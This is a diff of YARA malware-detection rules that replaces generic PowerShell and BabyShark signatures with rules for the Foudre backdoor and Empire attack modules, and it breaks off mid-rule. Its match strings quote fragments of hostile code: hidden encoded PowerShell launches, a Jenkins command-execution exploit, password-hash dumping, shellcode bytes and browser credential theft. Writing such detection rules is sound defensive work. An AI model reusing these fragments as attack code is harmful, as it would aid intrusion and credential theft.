-		description = "Detects suspicious PowerShell script in combo with VBS or JS "
+		description = "Detects Foudre Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e44d1dfc-0858-5248-a57f-efb5c647f4cc"
-		date = "2017-09-30"
-		modified = "2024-04-03"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L150-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0819f57afb6d1d878e4db4079bfd43ccac520829c877de04d16d8bd048a35ab5"
-		score = 65
+		id = "9070f581-64a7-5620-aff4-7f2cbd73099d"
+		date = "2017-08-01"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/Nbqbt6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_foudre.yar#L53-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2eb267ab93c297101aef0cfcca78d0299ca7baa96b983a5f2ff547394cbac82d"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e387f6c7a55b85e0675e3b91e41e5814f5d0ae740b92f26ddabda6d4f69a8ca8"
+		hash1 = "7c6206eaf0c5c9c6c8d8586a626b49575942572c51458575e51cba72ba2096a4"
+		hash2 = "db605d501d3a5ca2b0e3d8296d552fbbf048ee831be21efca407c45bf794b109"
 
 	strings:
-		$x1 = ".Run \"powershell.exe -nop -w hidden -e " ascii
-		$x2 = "FileExists(path + \"\\..\\powershell.exe\")" fullword ascii
-		$x3 = "window.moveTo -4000, -4000" fullword ascii
-		$s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
+		$s1 = { 50 72 6F 6A 65 63 74 31 2E 64 6C 6C 00 44 31 }
+		$s2 = "winmgmts:\\\\localhost\\root\\SecurityCenter2" fullword wide
+		$s3 = "C:\\Documents and Settings\\All Users\\" wide
 
 	condition:
-		filesize <20KB and (( uint16(0)==0x733c and 1 of ($x*)) or 2 of them )
+		( uint16(0)==0x5a4d and filesize <2000KB and (3 of them ) or (2 of them and pe.exports("D1")))
 }
-rule SIGNATURE_BASE_Wscript_Shell_Powershell_Combo : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Foudre_Backdoor_SFX : FILE
 {
 	meta:
-		description = "Detects malware from Middle Eastern campaign reported by Talos"
+		description = "Detects Foudre Backdoor SFX"
 		author = "Florian Roth (Nextron Systems)"
-		id = "265ec471-d9ed-5cb6-a32b-cfa62fccdf64"
-		date = "2018-02-07"
-		modified = "2024-04-03"
-		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L172-L193"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0ab5808593c999c1ce342051a8e292153aa20516cf48071565d677399adfb160"
-		score = 50
+		id = "b5c7cd6b-48c8-5703-b695-19d226de1810"
+		date = "2017-08-01"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/Nbqbt6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_foudre.yar#L77-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd5492f5314cb87fdb7c8b29bdf31e1fcd8541ed47b20f309538437d9c6ac600"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
+		hash1 = "2b37ce9e31625d8b9e51b88418d4bf38ed28c77d98ca59a09daab01be36d405a"
+		hash2 = "4d51a0ea4ecc62456295873ff135e4d94d5899c4de749621bafcedbf4417c472"
 
 	strings:
-		$s1 = ".CreateObject(\"WScript.Shell\")" ascii
-		$p1 = "powershell.exe" fullword ascii
-		$p2 = "-ExecutionPolicy Bypass" fullword ascii
-		$p3 = "[System.Convert]::FromBase64String(" ascii
-		$fp1 = "Copyright: Microsoft Corp." ascii
+		$s1 = "main.exe" fullword ascii
+		$s2 = "pub.key" fullword ascii
+		$s3 = "WinRAR self-extracting archive" fullword wide
 
 	condition:
-		filesize <400KB and $s1 and 1 of ($p*) and not 1 of ($fp*)
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-rule SIGNATURE_BASE_SUSP_Powershell_String_K32_Remprocess : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Metasploitpayload : FILE
 {
 	meta:
-		description = "Detects suspicious PowerShell code that uses Kernel32, RemoteProccess handles or shellcode"
+		description = "Detects Empire component - file Invoke-MetasploitPayload.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ad646e19-b132-5594-bea2-d74e96c06ebb"
-		date = "2018-03-31"
-		modified = "2024-04-03"
-		reference = "https://github.com/nccgroup/redsnarf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L195-L215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "03c80de8e59e640709c4ee1912dc47c398e265f9b88845a6de88031e2eb46ba3"
-		score = 65
+		id = "608c30b0-826a-55b1-afb8-756b476d6b55"
+		date = "2016-11-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L10-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1399818f71544245a7b689a7eb4da794b10814590e4c5f545fc28237ffa3d0f6"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash3 = "54a8dd78ec4798cf034c7765d8b2adfada59ac34d019e77af36dcaed1db18912"
-		hash4 = "6d52cdd74edea68d55c596554f47eefee1efc213c5820d86e64de0853a4e46b3"
+		hash1 = "a85ca27537ebeb79601b885b35ddff6431860b5852c6a664d32a321782808c54"
 
 	strings:
-		$x1 = "Throw \"Unable to allocate memory in the remote process for shellcode\"" fullword ascii
-		$x2 = "$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"kernel32.dll\")" fullword ascii
-		$s3 = "$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants." ascii
-		$s7 = "if ($RemoteProcHandle -eq [IntPtr]::Zero)" fullword ascii
-		$s8 = "if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))" fullword ascii
-		$s9 = "$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, " ascii
-		$s15 = "$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null" fullword ascii
+		$s1 = "$ProcessInfo.Arguments=\"-nop -c $DownloadCradle\"" fullword ascii
+		$s2 = "$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" fullword ascii
 
 	condition:
-		uint16(0)==0x7566 and filesize <6000KB and 1 of them
+		( uint16(0)==0x7566 and filesize <9KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Powershell_JAB_B64 : FILE
+rule SIGNATURE_BASE_Empire_Exploit_Jenkins : FILE
 {
 	meta:
-		description = "Detects base464 encoded $ sign at the beginning of a string"
+		description = "Detects Empire component - file Exploit-Jenkins.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c18fa17b-aaa5-5a89-bc25-3cc51b5af103"
-		date = "2018-04-02"
-		modified = "2024-04-03"
-		reference = "https://twitter.com/ItsReallyNick/status/980915287922040832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L217-L231"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4746a73774f945e63455ca7dd58ef67290f7c66d2dca80d06d52d2545c69a190"
-		score = 60
-		quality = 83
+		id = "f2162783-34cd-5db4-bd1c-6c58feb92e77"
+		date = "2016-11-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L26-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "caf65814a1aeb0e14ec6430f7d5692b9c090bdc0d453566f0b0abd703f74bac7"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a5182cccd82bb9984b804b365e07baba78344108f225b94bd12a59081f680729"
 
 	strings:
-		$s1 = "('JAB" ascii wide
-		$s2 = "powershell" nocase
+		$s1 = "$postdata=\"script=println+new+ProcessBuilder%28%27\"+$($Cmd)+\"" ascii
+		$s2 = "$url = \"http://\"+$($Rhost)+\":\"+$($Port)+\"/script\"" fullword ascii
+		$s3 = "$Cmd = [System.Web.HttpUtility]::UrlEncode($Cmd)" fullword ascii
 
 	condition:
-		filesize <30KB and all of them
+		( uint16(0)==0x6620 and filesize <7KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_SUSP_PS1_Frombase64String_Content_Indicator : FILE
+rule SIGNATURE_BASE_Empire_Get_Securitypackages : FILE
 {
 	meta:
-		description = "Detects suspicious base64 encoded PowerShell expressions"
+		description = "Detects Empire component - file Get-SecurityPackages.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "326c83ff-5d21-508f-b935-03ccdab6efa7"
-		date = "2020-01-25"
-		modified = "2024-04-03"
-		reference = "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L233-L284"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a9ec7a00e9faee5cc081a2bc86abf8027fcd3cfe590cdd4f2f99425b6723f23f"
-		score = 65
-		quality = 83
-		tags = "FILE"
-
-	strings:
-		$ = "::FromBase64String(\"H4s" ascii wide
-		$ = "::FromBase64String(\"TVq" ascii wide
-		$ = "::FromBase64String(\"UEs" ascii wide
-		$ = "::FromBase64String(\"JAB" ascii wide
-		$ = "::FromBase64String(\"SUVY" ascii wide
-		$ = "::FromBase64String(\"SQBFAF" ascii wide
-		$ = "::FromBase64String(\"SQBuAH" ascii wide
-		$ = "::FromBase64String(\"PAA" ascii wide
-		$ = "::FromBase64String(\"cwBhA" ascii wide
-		$ = "::FromBase64String(\"aWV4" ascii wide
-		$ = "::FromBase64String(\"aQBlA" ascii wide
-		$ = "::FromBase64String(\"R2V0" ascii wide
-		$ = "::FromBase64String(\"dmFy" ascii wide
-		$ = "::FromBase64String(\"dgBhA" ascii wide
-		$ = "::FromBase64String(\"dXNpbm" ascii wide
-		$ = "::FromBase64String(\"H4sIA" ascii wide
-		$ = "::FromBase64String(\"Y21k" ascii wide
-		$ = "::FromBase64String(\"Qzpc" ascii wide
-		$ = "::FromBase64String(\"Yzpc" ascii wide
-		$ = "::FromBase64String(\"IAB" ascii wide
-		$ = "::FromBase64String('H4s" ascii wide
-		$ = "::FromBase64String('TVq" ascii wide
-		$ = "::FromBase64String('UEs" ascii wide
-		$ = "::FromBase64String('JAB" ascii wide
-		$ = "::FromBase64String('SUVY" ascii wide
-		$ = "::FromBase64String('SQBFAF" ascii wide
-		$ = "::FromBase64String('SQBuAH" ascii wide
-		$ = "::FromBase64String('PAA" ascii wide
-		$ = "::FromBase64String('cwBhA" ascii wide
-		$ = "::FromBase64String('aWV4" ascii wide
-		$ = "::FromBase64String('aQBlA" ascii wide
-		$ = "::FromBase64String('R2V0" ascii wide
-		$ = "::FromBase64String('dmFy" ascii wide
-		$ = "::FromBase64String('dgBhA" ascii wide
-		$ = "::FromBase64String('dXNpbm" ascii wide
-		$ = "::FromBase64String('H4sIA" ascii wide
-		$ = "::FromBase64String('Y21k" ascii wide
-		$ = "::FromBase64String('Qzpc" ascii wide
-		$ = "::FromBase64String('Yzpc" ascii wide
-		$ = "::FromBase64String('IAB" ascii wide
+		id = "a109eda1-a26d-5cf6-b6b5-1a1a1e770a0a"
+		date = "2016-11-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L43-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d63fdcc6713d2f7645b16cf3e79a6e951c7751a10bfa0e2853def47ea9547d2"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5d06e99121cff9b0fce74b71a137501452eebbcd1e901b26bde858313ee5a9c1"
+
+	strings:
+		$s1 = "$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)" fullword ascii
+		$s2 = "$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])" fullword ascii
 
 	condition:
-		filesize <5000KB and 1 of them
+		( uint16(0)==0x7566 and filesize <20KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_SVG_Loadurl : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Powerdump : FILE
 {
 	meta:
-		description = "Detects a tiny SVG file that loads an URL (as seen in CryptoWall malware infections)"
+		description = "Detects Empire component - file Invoke-PowerDump.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c3d4c95f-ef8b-52ff-9cf9-d66d9b99a490"
-		date = "2015-05-24"
+		id = "d1082a4e-d458-57fb-b332-7c775c8ef2dd"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/psjCCc"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cryptowall_svg.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d9e40694e2d0099495289a2074e266bace9b0d9d776391020a1527eaabd2a395"
-		score = 50
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L59-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e460d015be54a88d0eb5741a9c32cf6d7a410e0beb5356402af0dd19d1b4c6f2"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ac8ef9df208f624be9c7e7804de55318"
-		hash2 = "3b9e67a38569ebe8202ac90ad60c52e0"
-		hash3 = "7e2be5cc785ef7711282cea8980b9fee"
-		hash4 = "4e2c6f6b3907ec882596024e55c2b58b"
+		hash1 = "095c5cf5c0c8a9f9b1083302e2ba1d4e112a410e186670f9b089081113f5e0e1"
 
 	strings:
-		$s1 = "</svg>" nocase
-		$s2 = "<script>" nocase
-		$s3 = "location.href='http" nocase
+		$x16 = "$enc = Get-PostHashdumpScript" fullword ascii
+		$x19 = "$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;" fullword ascii
+		$x20 = "$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);" fullword ascii
 
 	condition:
-		all of ($s*) and filesize <600
+		( uint16(0)==0x2023 and filesize <60KB and 1 of them ) or all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_PE_Type_Babyshark_Loader : FILE
+rule SIGNATURE_BASE_Empire_Install_SSP : FILE
 {
 	meta:
-		description = "Detects PE Type babyShark loader mentioned in February 2019 blog post by PaloAltNetworks"
+		description = "Detects Empire component - file Install-SSP.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "141e7a67-7930-5fd8-ac91-5d31b99e4ff3"
-		date = "2019-02-24"
+		id = "06bbdcc5-c48b-5753-88a2-5c962d1b986f"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_babyshark.yar#L4-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0ab9a30cb731922d965a9cf58094fea36d5c74b9989324efee603808591ea6a5"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L76-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf0966d0141d4606983f267face635ef5fddbc73282f02f0a0ae6fcf89f2e6dc"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7fd921a23950334257dda57b99e03c1e1594d736aab2dbfe9583f99cd9b1d165"
 
 	strings:
-		$x1 = "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\" /v AutoRun /t REG_SZ /d \"%s\" /f" fullword ascii
-		$x2 = /mshta\.exe http:\/\/[a-z0-9\.\/]{5,30}\.hta/
-		$xc1 = { 57 69 6E 45 78 65 63 00 6B 65 72 6E 65 6C 33 32
-               2E 44 4C 4C 00 00 00 00 }
+		$s1 = "Install-SSP -Path .\\mimilib.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (pe.imphash()=="57b6d88707d9cd1c87169076c24f962e" or 1 of them or for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "thawte SHA256 Code Signing CA" and pe.signatures[i].serial=="0f:ff:e4:32:a5:3f:f0:3b:92:23:f8:8b:e1:b8:3d:9d"))
+		( uint16(0)==0x7566 and filesize <20KB and 1 of them ) or all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_Babyshark_Kimjoingrat_Apr19_1 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Shellcodemsil : FILE
 {
 	meta:
-		description = "Detects BabyShark KimJongRAT"
+		description = "Detects Empire component - file Invoke-ShellcodeMSIL.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6bd1e1a-68f2-5a2d-a159-b16ea0d33987"
-		date = "2019-04-27"
+		id = "06011b51-bad7-5656-ac37-e49f9b6d0498"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_babyshark.yar#L29-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3fec0f21e299e09ae9734f256edbbca81a53f860b42e99a78b07d344552f1062"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L91-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb556fb8b558145e7e981ab3c3ccfb2656512498b917c705e53bc5b9f3650155"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9a9c6c9eb67bde4a8ce2c0858e353e19627b17ee2a7215fa04a19010d3ef153f"
 
 	strings:
-		$x1 = "%s\\Microsoft\\ttmp.log" fullword wide
-		$a1 = "logins.json" fullword ascii
-		$s1 = "https://www.google.com/accounts/servicelogin" fullword ascii
-		$s2 = "https://login.yahoo.com/config/login" fullword ascii
-		$s3 = "SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login" ascii
-		$s4 = "\\mozsqlite3.dll" ascii
-		$s5 = "SMTP Password" fullword ascii
-		$s6 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword ascii
+		$s1 = "$FinalShellcode.Length" fullword ascii
+		$s2 = "@(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)" fullword ascii
+		$s3 = "@(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57," fullword ascii
+		$s4 = "$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or ($a1 and 3 of ($s*)))
+		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_HKTL_FRP_Apr20_1
+rule SIGNATURE_BASE_HKTL_Empire_Powerup : FILE
 {
 	meta:
-		description = "Detects FRP fast reverse proxy tool often used by threat groups"
+		description = "Detects Empire component - file PowerUp.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "55483832-0e0b-5c28-8be5-dbd14ddb50e3"
-		date = "2020-04-07"
-		modified = "2022-11-03"
-		reference = "https://github.com/fatedier/frp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_frp_proxy.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "21f91fd99aed8b62d804504889c41ca77567fd345cf4ea0ef00161eefa9324a7"
-		score = 70
+		id = "e79d093e-7481-52a3-a350-4d1b6d8955cd"
+		date = "2016-11-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L109-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d55674866a1a14d4f4c2b5529e47e005ca4b433383bf112af6da41d7f84afdb7"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "05537c1c4e29db76a24320fb7cb80b189860389cdb16a9dbeb0c8d30d9b37006"
-		hash2 = "08c685c8febb5385f7548c2a64a27bae7123a937c5af958ebc08a3accb29978d"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
 
 	strings:
-		$x1 = "frp/vendor/github.com/spf13/" ascii
-		$x2 = "github.com/fatedier/frp/vendor/" ascii
-		$fpg2 = "<html"
-		$fpg3 = "<HTML"
-		$fpg6 = "<?xml"
+		$x2 = "$PoolPasswordCmd = 'c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool" fullword ascii
 
 	condition:
-		1 of ($x*) and not 1 of ($fp*)
+		( uint16(0)==0x233c and filesize <2000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_HKTL_FRP_INI_Apr20_1 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Mimikatz_Gen : FILE
 {
 	meta:
-		description = "Detects FRP fast reverse proxy tool INI file often used by threat groups"
+		description = "Detects Empire component - file Invoke-Mimikatz.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5c652c9c-715d-5ba5-821a-3e533b1e78c6"
-		date = "2020-04-07"
+		id = "1f771a17-2534-5811-80bd-bc1bab37d97c"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Chinese Hacktools OpenDir"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_frp_proxy.yar#L24-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cc997dc876d7a49292b62a0fb4ff12b34dacacfd8a1b90226d6a9aee303cacdf"
-		score = 60
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L124-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a28297025b9b0178ab437996ffd3e0c28526f1edaf61db659093fe41a356cf40"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "1dabef3c170e4e559c50d603d47fb7f66f6e3da75a65c3435b18175d6e9785bb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
 
 	strings:
-		$h1 = "[common]" ascii
-		$s1 = "server_addr =" ascii fullword
-		$s2 = "remote_port =" ascii fullword
-		$s3 = "[RemoteDesktop]" ascii fullword
-		$s4 = "local_ip = " ascii
-		$s5 = "type = tcp" ascii fullword
+		$s1 = "= \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ" ascii
+		$s2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword ascii
 
 	condition:
-		uint16(0)==0x635b and filesize <1KB and $h1 at 0 and all of them
+		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Rtf_Cve2017_11882_Ole : MALICIOUS EXPLOIT CVE_2017_11882
+rule SIGNATURE_BASE_Empire_Get_Gpppassword : FILE
 {
 	meta:
-		description = "Attempts to identify the exploit CVE 2017 11882"
-		author = "John Davison"
-		id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"
-		date = "2023-12-05"
+		description = "Detects Empire component - file Get-GPPPassword.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7791b009-19d3-5d08-8ef7-4723d28830ed"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_11882.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "51cf2a6c0c1a29abca9fd13cb22421da"
-		logic_hash = "6856d3c78cc06899d2bc1f876dce6b718513ebad80f37d7b5914a14d1da5064c"
-		score = 60
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L140-L155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c879e50805e8b89fc8f3a7c7da2c8e906c89f210ab74194daca6b0ba2d312ba"
+		score = 75
 		quality = 85
-		tags = "MALICIOUS, EXPLOIT, CVE_2017_11882"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "55a4519c4f243148a971e4860225532a7ce730b3045bde3928303983ebcc38b0"
 
 	strings:
-		$headers = { 1c 00 00 00 02 00 ?? ?? a9 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 01 01 03 ?? }
